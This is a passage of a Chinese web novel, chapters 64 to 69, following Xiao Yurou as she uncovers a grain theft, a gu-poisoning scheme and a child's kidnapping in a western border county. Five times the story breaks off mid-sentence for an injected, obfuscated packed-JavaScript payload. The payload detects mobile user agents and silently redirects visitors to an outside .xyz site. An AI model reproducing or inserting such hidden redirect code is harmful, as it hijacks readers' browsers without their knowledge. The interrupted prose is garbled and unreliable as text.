朱县令心头一紧,连忙摆手道:"哪里哪里,不足挂齿。" 萧语柔却不依不饶,"大人可是百官表率呢!我定要告诉舅舅,让他写折子好好夸赞大人。" 这话一出,朱县令只觉天旋地转。他知道,自己这回是彻底栽了。眼看萧语柔带着粮食扬长而去,朱县令脸上飞快闪过一丝慌乱。 主簿凑上前来,压低声音问道:"大人,王虎不见了,该如何交代?" 朱县令猛地一拍额头,这才想起还有这茬。他长叹一声,"别提了,咱们还是想想怎么搭上镇国府的船吧。" 主簿一头雾水,不明白大人为何突然说起搭船。朱县令没有解释,只是疲惫地挥了挥手。 船上,老夫人欣慰地看着萧语柔。"好孩子,这一招可真是高明。" 萧语柔抿嘴一笑,眼中却闪过一丝不安。"只是不知三皇子那边如何了。" 老夫人拍拍她的手,"放心,有你小舅舅在,不会有事的。" 船队一路北上,所到之处,官员们争相"捐粮"。萧语柔看着船舱里堆积如山的粮食,心中暗喜,却又不敢表露。 终于到了澄江县,叶成江早已在码头等候多时。他看到老夫人,眼眶顿时泛红。 "母亲。"叶成江恭敬地行礼,声音微微颤抖。 老夫人扶他起来,眼中也泛起泪光。一旁的秦氏笑吟吟地拉过萧语柔的手。 "这就是明萝吧,真是个标致的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481820|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘。"秦氏热络地说道,眼中满是喜爱之情。 萧语柔被她的热情感染,也露出笑容。"小舅妈。" 叶成江看着萧语柔,想起去世的桂芷,满心愧疚。 "我没尽到兄长的责任。"他低声说道,眼底闪过一丝悲伤。 老夫人轻轻拍了拍他的手,指着船上的粮食:"这些都是沿途官员的心意,你快些送去三皇子那里吧。" 叶成江点点头,正要说话,却被秦氏打断:"老爷,天儿冷,咱们还是先回府吧。" 一行人浩浩荡荡地向叶府走去。路上,萧语柔悄悄叫来萧瑾。 "去打探一下三皇子的下落,再查查这边的路线。"萧语柔低声吩咐道,眼中闪过一丝担忧。 萧瑾点头应声,瞬间消失在人群中。 叶府虽不大,却收拾得干净整洁。秦氏一路上跟萧语柔絮絮叨叨,事无巨细地介绍着府里的情况。 "我给你收拾了厢房,在东边,早起有阳光晒满院子。"秦氏笑着说道,"听说你还会医术?正好那边有一块药圃,好多年了,咱们也都不会医的,就没怎么打理过,你可以去瞧瞧。" 萧语柔听得认真,时不时点头应和。她的目光在府中扫视,心中暗自盘算着什么。 "这儿不比龙都,你若是过不惯尽管跟小舅妈说。"秦氏又叮嘱道,满脸都是关切之色。 萧语柔微笑着点头,"多谢小舅妈。"她心中却在想着三皇子的事,不知他现在如何了。 叶成江看着萧语柔,欲言又止。最后,他还是开口道:"三皇子的确辛苦,西陲暴民已经抱团,几次夜袭,官兵不敢对百姓下手,让三皇子差点……" 秦氏急忙打断了叶成江的话,"老爷,这些事就别跟明萝说了,她一个姑娘家知道那么多做什么。" 萧语柔心中一紧,却不动声色。 夜幕降临,萧语柔独自站在院子里,望着西陲的天空。她的眼中闪烁着复杂的光芒,既有担忧,又有坚定。 "三皇子,希望你平安无事。"萧语柔轻声呢喃,心中暗自下定决心,一定要尽快找到三皇子,弄清楚这里的情况。 一阵冷风吹过,萧语柔不由得裹紧了衣服。 第六十五章 线索 夕阳西沉,金色的余晖洒在澄江县叶府的后院。一个扎着羊角辫的小姑娘蹦蹦跳跳地跑来,目光在老夫人和萧语柔之间来回打量。 "你们就是从龙都来的贵客吗?"小姑娘咧开缺了两颗门牙的嘴问道。 "元宝,不得无礼!"秦氏的声音里带着一丝无奈。 小姑娘却毫不在意,先向老夫人行礼,甜甜地喊了声"祖母",又朝萧语柔屈膝,软糯地唤道:"姐姐。" 老夫人眉头舒展,从袖中取出一个精致的荷包给了小姑娘。萧语柔也递上一个巴掌大小的西洋钟,小姑娘双眼放光,爱不释手地把玩起来。 秦氏见状,语气越发诚恳:"几位舟车劳顿,先去歇息吧。晚上我们设宴给您接风。" 萧语柔独自回到房间,推门而入,只见屋内陈设简洁雅致。她简单梳洗后,并未休息,而是唤人将王虎抬了进来。 王虎被塞在一个大木箱中。箱盖掀开,他刚瞥见萧语柔的脸,就迅速将盖子合上。 "你若不出来,我就换一口更小的箱子。"萧语柔语气平静,却让人不寒而栗。 "你这毒妇!"王虎咬牙切齿,声音虚弱地从箱中传出,"要杀要剐,悉听尊便!" 萧语柔嘴角微扬,眼中却没有笑意:"既然你觉得我心狠手辣,又怎会让你痛快?" 王虎浑身一颤,不禁打了个寒噤。他曾视女子如草芥,却不曾想有朝一日会被一个女人如此威胁。 紫萱见状,抓起未完成的鞋底朝王虎抽去:"你敢瞪我家小姐?" "**……"王虎话音未落,又挨了一记重击。他啐出一口血沫,不料溅到了萧语柔的衣裙上。 紫萱见状大怒,对着王虎一顿猛击。萧语柔静静地看着这一幕,并未出言阻止。 片刻后,王虎蜷缩在箱中,脸上青一块紫一块,再不敢吐出半句狠话。 萧语柔俯身看着箱中的王虎,语气平静得令人心惊:"我只问你几个简单问题,答对了给你个痛快,答错了……"她意味深长地顿了顿,"直接送你去小倌馆。" 王虎面如死灰,颤声道:"我说,我全说。" "你主子是谁?"萧语柔开门见山。 王虎眼珠一转,试图搪塞:"漕运一直由户部管辖,我的主子是……" "紫萱。"萧语柔冷冷打断。 话音未落,王虎又挨了一顿毒打。他这才意识到眼前这个女子不好糊弄,只得咬牙吐出实情:"户部侍郎卢思明。" 萧语柔眸光一闪,若有所思。王虎见状,以为她起了疑心,连忙补充:"卢思明背后还牵扯着柳府,以及……"他深吸一口气,"明泽公主府。" 萧语柔眼中闪过一丝惊讶,但很快就恢复了平静。她继续追问:"昭文驸马此番押粮入西陲,有何目的?" 王虎犹豫了,这个问题若是回答,恐怕会惹来杀身之祸。但看着萧语柔冰冷的眼神,他又不敢不说。 就在这时,门外响起敲门声:"姐姐,查到了,情况不大好。" 萧语柔对王虎说:"我给你时间慢慢想,敢谎报一个字,我便剜你一片肉。" 箱子被重新关上,王虎缩在里头,后悔莫及。他暗自咒骂:三皇子看上的女人,果真跟他一样变态! 萧瑾进来后,递给萧语柔一张纸。纸上写着招募大夫的告示,说三皇子**,危在旦夕,重金聘请名医上门。 萧瑾皱着眉头问:"姐姐,你是不是……变心了?" 萧语柔解释道:"我们入澄江县并未遮掩,三皇子若是真伤重难治,林妈妈早该来寻我了。"她若有所思地说,"岑陌居然佯装重病,只怕他那边的情况不容乐观。" "可查到三皇子所在?"萧语柔问。 萧瑾点点头:"晚上我带姐姐过去!" 夜色渐浓,萧语柔与萧瑾悄然离开叶府。马蹄声轻叩石板,两人默契保持沉默。渡江换车,一个时辰后,他们在一处幽深宅院前停下。 萧语柔眼尖,瞥见院内走出几个人影。她连忙示意萧瑾继续前行,两人在拐角处悄悄下车,藏身暗处。 "大人,岑陌重伤在床,此时不动手更待何时?"一个急躁的声音响起。 另一人附和道:"三皇子确实伤势不轻,我们安排的大夫也证实了这点。" 被称作马都尉的男子语气犹豫:"三皇子向来诡计多端,这次刺杀成功,反倒让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481821|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我起了疑心。" "有什么可怀疑的?"急躁者不满道,"我安排的都是精锐。" 马都尉皱眉:"可他未婚妻才从龙都来,那里可是三皇子的根基。" "不过是个深闺小姐,能成什么气候?"急躁者嗤之以鼻,"大人太过谨慎了。" 几人争论片刻,最终定下五日后动手的计划。 待他们走远,萧瑾忍不住低声咒骂:"这帮老狐狸!" 萧语柔心中暗涌,更在意府邸里传出的哭喊。她低声吩咐:"萧瑾,你先去打探。" 萧瑾点头,身影融入夜色。 没多久,萧瑾悄然归来:"林妈妈让我们先回去。" 两人无奈,只得折返叶府。 一夜辗转难眠,萧语柔心中满是疑惑。次日,她暗中打探马都尉的底细。 "此人在西陲颇有名望,曾捐出大半家产救助灾民。"回话的人语气敬佩。 萧语柔眉头微蹙:"既是能人,为何压制不住接连的叛乱?" 对方神色不悦:"马都尉已尽心尽力,连邻县官员也受他影响,为民奔波。蔡县令的长子还因此丧命。" "是吗?"萧语柔心中疑云更甚。 正当此时,秦氏来访,神色间带着几分局促。 "明萝,小舅妈有件事想请你帮忙。"她轻声说道。 萧语柔笑道:"小舅母不必客气,有什么事尽管说。" 秦氏松了口气,道出自己妹妹的烦恼:"我有个妹妹,与你年岁相仿。她身子一直不好,却对一个男子动了心。那人已有妻妾,还是马都尉的侄子。" 提到马都尉,秦氏面色微沉,但很快恢复如常:"我听说你医术了得,想请你帮我看看。" 萧语柔应下,心中却泛起涟漪。难道秦氏妹妹的情况与她所想有关? 下午,一位娉婷袅娜的女子款步而来。慕蝉,果真如她的名字一般,萧萧动人。只是那病态的苍白,让人不禁心生怜惜。 奇怪的是,慕蝉见到萧语柔时,眼底闪过一丝惊惶。她步伐微顿,似乎想要后退。 萧语柔心中一凛,强压下心头疑虑,微笑道:"秦小姐请坐。" 第六十六章 迷雾 慕蝉勉强笑了笑,缓缓落座。她纤细的手指不安地绞着帕子,眼神飘忽不定。 "听说秦小姐身子不适,不知是何症状?"萧语柔轻声问道。 慕蝉张了张嘴,却似乎无法说出完整的句子。她的呼吸急促起来,面色愈发苍白。 萧语柔观察着她的反应,心中的猜测逐渐成形。她轻叹一声,柔声道:"秦小姐不必紧张,我只是想帮你。" 慕蝉咬着唇,眼中泛起泪光。她低声道:"萧小姐,我……我不知该如何是好……" 萧语柔正欲开口,突然听到外面传来一阵骚动。 马浪心神不宁,袖中竹筒躁动不安。他正欲悄然离开,却被人从后猛地推了一把。踉跄几步,险些跌倒。 "谁?"马浪怒喝,转身见萧瑾抱剑而立,眼中寒光闪烁。 他冷笑着看向秦氏:"夫人就是这般待客?看来得请我舅舅亲自拜访叶县令了。" 秦氏虽不悦,却也不愿撕破脸皮。她疑惑地看向萧语柔,相信这丫头必有缘由。 "马公子放心,"萧语柔声音冰冷,"我会亲自请马都尉来接你的。" 话音未落,陆妈妈和紫萱已各提一桶走来。秦氏望着桶中黑乎乎的东西,不禁问道:"明萝,这是什么?" "蛊虫,"萧语柔目光如刀,直视马浪,"尤其是相思蛊。马公子,我说得对吗?" 马浪脸色瞬变,萧语柔竟已看穿一切。他强自镇定,色厉内荏道:"你们敢动我?我舅舅可是马都尉!" 萧语柔轻笑:"我舅舅还是叶成瀚呢。"她一挥手,萧瑾上前一脚将马浪踹倒。 慕蝉哭着跪下求饶,却被萧语柔的下人按住。熏香味愈发浓烈,慕蝉胃中翻涌,喉间似有异物欲出。 马浪拼命挣扎,却哪里是习武的萧瑾对手。他咬牙切齿,目光中满是怨毒:"你会后悔的,你知道得罪的是谁吗?" 萧语柔不为所动,手中银针直刺二人头顶穴位。 剧痛之下,马浪终于叫喊出声:"**,你得罪的可是南王殿下!你不怕死吗?你有个侯爷舅舅又如何,他能与南王对抗吗?" 萧语柔眉头微皱,示意萧瑾灌下蛊虫。马浪疼得昏天黑地,仍死咬牙关。萧瑾冷哼一声,直接卸了他的下巴。 秦氏看得心惊肉跳,见慕蝉只是小口喝药,稍稍放心。不多时,慕蝉干呕一声,萧语柔眼疾手快让她吐在桶里。马浪见状,也不得不扣喉呕吐。 慕蝉晕了过去,萧语柔转头对秦氏道:"小舅妈,去请舅舅来吧。" 秦氏早已派人通知叶成江,此刻他快步而来。萧语柔简述经过,叶成江见到蛊虫,脸色阴沉如水。 "朝廷明令禁止,竟还有人胆敢用蛊!"叶成江怒视马浪,"马公子,你可知这是死罪?" 马浪强撑镇定:"我不知你们在说什么,分明是你们冤枉我。" 叶成江冷笑:"众目睽睽之下,何来冤枉?" 马浪见他们无可奈何,挑衅道:"叶大人清官廉明,总不会在此私杀于我吧?" 萧语柔不慌不忙,从怀中取出一截干草:"马公子可知,中蛊者最怕寒星草?一旦吞服,便会七窍流血而亡,尤其是吃下蛊母的那一方,顷刻毙命。" 马浪脸色大变,连连后退。萧瑾欲将草塞入马浪口中,马浪终于崩溃:"是,我用过蛊虫!" 萧语柔微笑:"放心,我会告诉马都尉的。对了,你刚才提到南王,是什么关系?" 此言一出,马浪和叶成江都倒吸一口凉气。马浪矢口否认:"什么南王?我没提过!就算你杀了我,我也没说过!" 萧语柔还想追问,叶成江已拉住她。 "大人,马都尉到了。"有下人来报。 萧语柔淡然道:"来得真快。" 叶成江暗自思忖,总觉得外甥女另有所图。 萧语柔笑道:"舅舅,我们一起去吧,我想问问三皇子的情况。听说三皇子病了,都是马都尉在使人照看着。" 叶成江点头,只是提醒她:"不要再提南王。" "为何?"萧语柔故作不知。 叶成江叹息,压低声音:"传闻太上皇传位诏书上的名字,本是南王。" 萧语柔眼中闪过一丝疑惑,回想起父亲当年醉酒焚毁卷宗的往事。她脑海中浮现出模糊的记忆,似乎曾有人向父亲求告,说他一家因南王连累被灭满门。那时父亲消沉了几日,翻阅各类卷宗后大醉一场,将所有资料付之一炬。 真相早已湮没在历史长河中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481822|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但当年为南王说话的人,几乎都被抄家灭族。萧语柔心中涌起一股复杂的情绪,既好奇又畏惧。 二人说话间,已到大门。 马都尉策马而来,面色阴沉。他在叶成江面前勒住缰绳,声音低沉带着几分不悦:"叶大人,我侄儿可在此处?" 叶成江不卑不亢地回应:"马公子亲口承认给秦家二小姐下蛊。依大晋律例,需押解刑部处置。" 马都尉眉头紧蹙,眼中闪过一丝不信。 这时,萧瑾带着马浪来到。马浪一见舅舅,如同抓住救命稻草,急切呼喊:"叔叔,快带我走!" 叶成江静立一旁,不发一言。马都尉目光扫过,心中已有计较。 他冷冷开口:"若真用蛊,死罪难逃。就算是我,也无力相救。" 话音刚落,差役上前押走了马浪。马浪失声痛哭,马都尉却面无表情,仿佛眼前之人与己无关。 "既已定罪,本官告辞。"马都尉转身欲走。 萧语柔忽然上前一步,拦住去路。"马都尉,可否告知三皇子近况?" 马都尉眼底闪过一丝寒意,嘴角勾起冷笑:"千里之遥,待信至京,殿下早已康复。" 萧语柔心头一凛,暗自思忖此人野心不小。 马都尉不再多言,策马而去。叶成江轻声安慰:"三皇子奉旨而来,应无大碍。"萧语柔不欲连累他,只默默点头。 马都尉出了澄江县,吩咐心腹:"拦截乐宁县主的信,严密监视叶府。岑陌那边,再增派一倍人手。" 王参军惊道:"大人,我们哪来这么多人手?" 马都尉沉吟片刻,眼中闪过一丝阴狠:"调宝山的人来。" 王参军大惊失色:"那里岂能轻易调动?" "无妨,去办吧。"马都尉目光阴沉,语气不容置疑。 流云县内,岑陌刚服完药。林妈妈轻声禀报马都尉行踪,提及萧语柔威胁之事。岑陌眼睫微颤,手指无意识地蜷缩。 "让人去探宝山究竟。"他低声吩咐,声音中带着一丝疲惫。 林妈妈笑道:"殿下何不去见见七小姐?她几次想来看您,都未能得见。" 岑陌手指微蜷,眼中闪过一丝复杂的情绪:"现在不行。" 第六十七章 骚乱 萧语柔来到慕蝉房中,为她诊脉。"身子虚弱,但可调养。"她说道,目光落在慕蝉红肿的眼眶上。 慕蝉红着眼眶道谢,声音哽咽。萧语柔递上一个香袋,轻声解释:"以防再遇蛊虫。" 慕蝉忽然问道:"可是一母一子两只蛊?" "这我也不甚了解。"她合眼内视旧册子,却未得到更多信息。 慕蝉犹豫片刻,小声道:"我感觉不止一只子蛊。" 萧语柔听罢,眼中闪过一丝暗芒。她带着萧瑾直奔大牢,心中已有计较。 马浪见他们到来,还想狡辩。萧语柔不与他废话,直接令萧瑾动手。 拳脚相加之下,马浪被打得鼻青脸肿。他跪地求饶,声音带着哭腔:"除了南王,我知无不言。求姑奶奶开恩!" 萧语柔冷眼看他,开始盘问蛊虫之事。马浪浑身颤抖,眼中满是恐惧,支支吾吾地回答着。 夜幕降临,澄江县衙内灯火通明。叶成江伏案批阅公文,眉头紧锁。萧语柔走进来,将审问马浪的结果告知。 "情况比我们想象的更复杂。"萧语柔轻声说,"恐怕不只是单纯的下蛊这么简单。" 叶成江放下笔,目光深沉:"看来背后还有更大的阴谋。" 萧语柔点头,心中思绪万千。她想起岑陌,不禁担忧起来。 "我们得尽快查清真相。"她说,声音坚定。 叶成江沉默片刻,缓缓道:"小心行事。这背后牵扯的势力,恐怕不是我们能轻易对付的。" 萧语柔点头。 几日过后。 萧语柔握紧了手中的茶杯,指节泛白。老夫人的话如一记重锤,砸得她几乎喘不过气来。 "数万石米粮,全数被劫……"她喃喃重复,声音低不可闻。 老夫人担忧地看着她,以为她会慌乱失措。但萧语柔出奇地平静,只是眼底闪过一丝复杂的情绪。 "明萝,好孩子,这件事你就不要管了。外祖母已经与你小舅舅商量过,这两日我们便启程回京。"老夫人轻声劝慰。 萧语柔抬头,目光坚定:"外祖母,此事还未有定论。若是那些粮食能找回来,查清是谁劫走了……" "傻孩子,"老夫人摇头,"哪有那么容易的事。" 萧语柔抿紧嘴唇,没有再说话。但她心中已有了决断。既然选择与岑陌同舟共济,她便不能在这关键时刻退缩。 老夫人见状,叹了口气:"此事你不许再管。这几日我会叫你小舅舅准备船只。" 萧语柔低下头,沉默不语。 这几天萧语柔心底涌起一阵不安,珍珍的失踪让她隐隐猜到了些什么。她强迫自己保持镇定,冷静地询问那个脸色苍白的婆子:"怎么会失踪,她上午都还在外祖母那儿玩。" 婆子声音颤抖:"就是方才丢的,珍珍小姐见外头有人放风筝,便追了出去。等奶娘发现追出去时,已经不见人影了。附近的摊贩说,瞧见有一个黑衣男子,掳了小姐去码头往流云县方向去了。" 萧语柔脸色一白,心中已有了答案——马都尉!她咬紧牙关,竭力压制住内心的怒火。 就在此时,叶成江匆匆从前面走过,似乎要出门。萧语柔看到小舅舅微沉的脸色,知道他必定也猜到了什么。如果她是小舅舅,定会先去找隔壁的郑知县。 思及此,萧语柔快步回房换了身男装,低声对紫萱吩咐:"守好房门。"随即让萧瑾带着她翻墙而出。 叶成江一路赶到码头,再次询问目击者后,几乎可以确定珍珍就是在此处被掳走的。他正准备登船,身后突然传来一声"舅舅"。 回头一看,只见萧语柔穿着一身男装站在那里。叶成江皱眉道:"我现在让人送你回去。" "舅舅,你让我跟着吧。"萧语柔急切地说,"若是见到马都尉,我有办法让他交出珍珍。" 叶成江本想拒绝,但见天色已晚,只得默许。萧语柔见状,立刻钻进了护卫队中。 渡河后换乘马车,一行人直奔郑府。郑府门前只有一个老仆守着,院内更是安静得出奇,主道上堆积着不少枯叶。 "你们不可再跟进去,就在此等我。"叶成江留下萧语柔和萧瑾,自己独自进了府。 萧语柔不甘心就此作罢,悄悄走到守门老仆身边坐下。"老人家,这府里怎么这样安静啊?"她轻声问道。 老仆起初不理会她,萧语柔也不着急,继续说道:"蔡大人是难得的好官啊,为官清廉,爱民如子。若是有机会,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481823|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都想到蔡大人手下做事。" "可惜好人没好报!"老仆突然愤愤地说。 萧语柔心中一动,顺势问道:"是可惜了蔡公子,可恨那些暴民。" 老仆终于动容,泪眼婆娑地诉说起来:"大人从不许我们骂那些暴民。可那样好的公子,日日下学回来,都要与我说几句话,问问我是否短缺什么。老仆我是看着他长大的啊,那样俊秀的公子,待到明年,必然得中高榜,可为何……为何啊……" 萧语柔听着,心中越发感到不对劲。"那日公子为何要出城啊?"她小心翼翼地问。 "还不是因为有人来传信,说灾情严重,老爷需要帮手。"老仆回答。 萧语柔眉头一皱:"那日郑知县当真叫人来让根本不通庶务的蔡公子出城吗?" 老仆一愣,似乎也意识到了什么。 就在此时,萧语柔眼角瞥见暗巷中一闪而过的人影。"萧瑾,追!"她低声喝道,随即朝巷子跑去。 那人身手不凡,但萧瑾更胜一筹。几个起落间,便将人制服在地。 "你是何人?"萧语柔厉声问道。 那人刚要开口,一个粗犷的声音突然响起:"王参军在此,尔等速速退下!" 萧语柔转身,只见一个矮胖男子气喘吁吁地站在巷口。她冷笑一声:"王参军,你可知蔡公子之死的真相?" 王参军脸色骤变,眼中闪过一丝慌乱。萧语柔心中了然,缓步逼近:"为何要害死蔡公子?是谁指使你的?" 王参军额头渗出冷汗,结结巴巴道:"你……你在胡说什么?" 萧瑾一拳挥出,王参军应声倒地。"说!"萧语柔厉声喝道。 王参军终于崩溃:"是……是马都尉……他说只要除掉蔡公子,就能控制郑知县……" 萧语柔心中怒火中烧,却强自冷静:"那珍珍呢?马都尉是否也与此事有关?" 王参军浑身颤抖:"珍珍小姐……已被马都尉的人带走……他……他要以此要挟叶大人……" 萧语柔眼中寒光闪烁,心中思绪万千。 夜幕低垂,流云县城外喧嚣四起。萧语柔站在城墙上,凝视着远处躁动的人群。她的眼底疲惫,一抹不易察觉的情绪闪过。 第六十八章 真相 "小舅舅,事情恐怕没那么简单。"她低声对身旁的叶成江说道。 叶成江皱眉,神色凝重:"你是说,这场骚乱另有隐情?" 萧语柔轻轻点头,目光扫过城下蠢蠢欲动的百姓。"有人在暗中操纵,我们恐怕已经落入圈套。" 叶成江闻言,眼中闪过一丝惊诧:"你从何得知?" 萧语柔嘴角勾起一抹嘲讽:"蛛丝马迹,处处可见。只是我们都被蒙蔽了双眼。" 城下的喧嚣声越发激烈,人群如沸腾的开水般翻滚。萧语柔转身,目光灼灼地看向叶成江:"小舅舅,我们必须立即行动。" 叶成江犹豫片刻,终于点头:"你有何计划?" 萧语柔眼中闪过一丝决然:"引蛇出洞。"话音未落,她已悄然离开城墙。 萧语柔行走在夜色中,步伐轻盈如猫。她的目标很明确——马都尉府邸。府门紧闭,守卫森严。萧语柔却毫不犹豫,翻墙而入。 她如鬼魅般穿梭于院落间,寻找着马都尉的踪迹。忽然,一阵低沉的谈话声传入耳中。萧语柔屏息凝神,悄悄靠近声源。 "大人,王淳还是没有消息。"一个焦急的声音说道。 "混账!"马都尉怒喝,"没了王淳,我们的计划如何进行?" 萧语柔心中一震,眼中闪过一丝精光。她终于找到了突破口。不动声色地后退几步,萧语柔迅速离开了马府。 回到叶府,她立即召集心腹。"我需要你们做件事。"萧语柔低声吩咐道。 几人听完,脸上都露出震惊之色。萧瑾忍不住劝阻:"姐姐,这太冒险了!" 萧语柔却摇了摇头,眼中闪烁着坚定的光芒:"唯有如此,才能揭开真相。" 夜色渐深,流云县城内外却愈发喧嚣。萧语柔站在窗前,静静等待着计划开始。 突然,一阵急促的脚步声传来。 "姐姐!"萧瑾冲进屋内,神色慌张,"出事了!" 萧语柔转身,眼中闪过一丝锐利的光芒:"说。" 萧瑾深吸一口气,快速说道:"马都尉府上起火了!" 萧语柔闻言,嘴角微微上扬:"好戏开场了。"不等萧瑾反应,萧语柔已快步走出房间。 夜风中,隐约传来阵阵惊呼和哭喊。萧语柔却置若罔闻,径直朝马府方向而去。府门大开,仆人们慌乱奔走。萧语柔趁乱溜入内院,寻找着马都尉的身影。 忽然,一阵剧烈的咳嗽声传来。她循声而去,很快发现了狼狈不堪的马都尉。 "马大人,"萧语柔上前,故作关切道,"您没事吧?" 马都尉抬头,脸上飞快闪过一丝慌乱:"县主?你怎么会在这里?" 萧语柔微微一笑,眼中闪过一丝狡黠:"我听闻马府失火,特来相助。" 马都尉神色稍缓,却仍心存戒备:"多谢县主好意,不过这里太危险,还请速速离开。" 萧语柔却不为所动,反而靠近几分:"马大人,您似乎很紧张?" 马都尉脸色一变,下意识后退几步:"县主此言何意?" 萧语柔忽然冷笑一声,目光如刀:"王淳在哪里?" 马都尉闻言,脸色瞬间煞白:"你……你知道什么?" 萧语柔不答,只是静静地看着他。 马都尉终于崩溃,跌坐在地:"是我……是我做的……" 萧语柔冷眼旁观,等待着真相浮出水面。这时,叶成江匆匆赶来,看到眼前的场景,不由得一怔。 "明萝,这是怎么回事?"叶成江沉声问道。 萧语柔转身,眼中闪过一丝复杂的情绪:"舅舅,真相就在眼前。" 马都尉抬头,目光在两人之间游移,最终长叹一声:"叶大人,萧县主,事到如今,我也无话可说。那批粮草……确实是我安排人劫的。" 叶成江闻言,脸色骤变:"你……为何要这么做?" 马都尉苦笑:"为了权力,为了利益。我们……不,是我,背叛了朝廷,背叛了百姓。" 萧语柔冷冷地看着马都尉:"那珍珍呢?他在哪里?" 马都尉摇头:"我不知道。珍珍小姐的事,是郑知县安排的。我只负责粮草……" 叶成江听到这里,身形一晃,险些跌倒。萧语柔连忙扶住他:"小舅舅!" 叶成江强撑着站稳,眼中满是痛苦与愤怒:"郑宏……你竟然……" 就在此时,外面突然传来一阵喧哗声。萧瑾匆匆跑来:"县主,叶大人,不好了!城外的暴民闯进来了!" 萧语柔和叶成江对视一眼,叶成江深吸一口气:"走,我们去县衙。" 萧语柔点头,转身对萧瑾说:"看住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481824|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,别让他跑了。"说完,她跟着叶成江快步离开。 夜色中,流云县城陷入一片混乱。 岑陌府邸内,烛火摇曳,映出一道修长的身影。 林妈妈轻步走来,低声禀报:"殿下,马都尉取消了计划。" 岑陌眉梢微挑,眼中闪过一丝精光。"王参军失踪了?" 林妈妈点头:"是的,殿下。" 岑陌沉吟片刻:"锦阳军混进城的计划怕是行不通了。"他转向林妈妈,"米粮可有线索?" "已经有些眉目,很快就能找到。" 岑陌眼中警惕未减:"不可掉以轻心,马都尉此人城府极深。" 话音未落,外头传来急促的脚步声。 "报——七小姐来了!还有萧瑾和王参军。" 林妈妈惊得倒吸一口凉气,不等岑陌吩咐,便飞快掠出。 须臾,她便提着歪着脖子的王淳回来,萧语柔和萧瑾跟在身后。 萧瑾见岑陌脸色阴沉,连忙退了出去:"我在外头守着。" "殿下。"萧语柔轻唤一声,声音里带着几分试探。 岑陌紧抓着手中的书,嗓音低沉:"过来。" 萧语柔乖乖走近,却被他啪的一下用书敲了头。 "嘶——"她捂着头,瞪大眼睛看他。 岑陌叹息,语气中满是无奈:"他们所有人的性命都不及你的性命要紧,你可知?" 萧语柔抿嘴一笑:"我知道错了。" 岑陌看着她狡黠的眼神,心中既欣慰又担忧。"下次还敢,对不对?" 萧语柔不置可否,目光落在王淳身上:"你要审问他吗?" 岑陌挑眉:"你想看?" 萧语柔犹豫片刻:"那我先下去休息?" 岑陌忍俊不禁:"你还不回叶府?" "我不放心。"萧语柔轻声道,眼中闪过一丝担忧,"珍珍还在马都尉手里。" 岑陌正欲说什么,门外又传来急促的敲门声。 "罢了。"他吩咐林妈妈,"你送她下去,顺便向老夫人传个话,就说我稍后亲自送她回去,不必担心。" 林妈妈领命而去,萧语柔趁机与她说了珍珍的事,以及王虎提供的消息。 林妈妈略一思忖,回去禀报岑陌,当夜便拿着只匣子出去了。 第六十九章 恐吓 次日天刚蒙蒙亮,萧瑾便急促地敲响了萧语柔的房门。 萧语柔一夜警醒,听到声响立刻拉开门,只见珍珍扑了上来,带着哭腔喊道:"明萝姐姐。" "没事了。"萧语柔紧紧将她抱在怀里,看到珍珍虽然形容狼狈,但并无大碍,心中稍安。 珍珍在熟悉的怀抱中终于释放了恐惧,大哭起来。 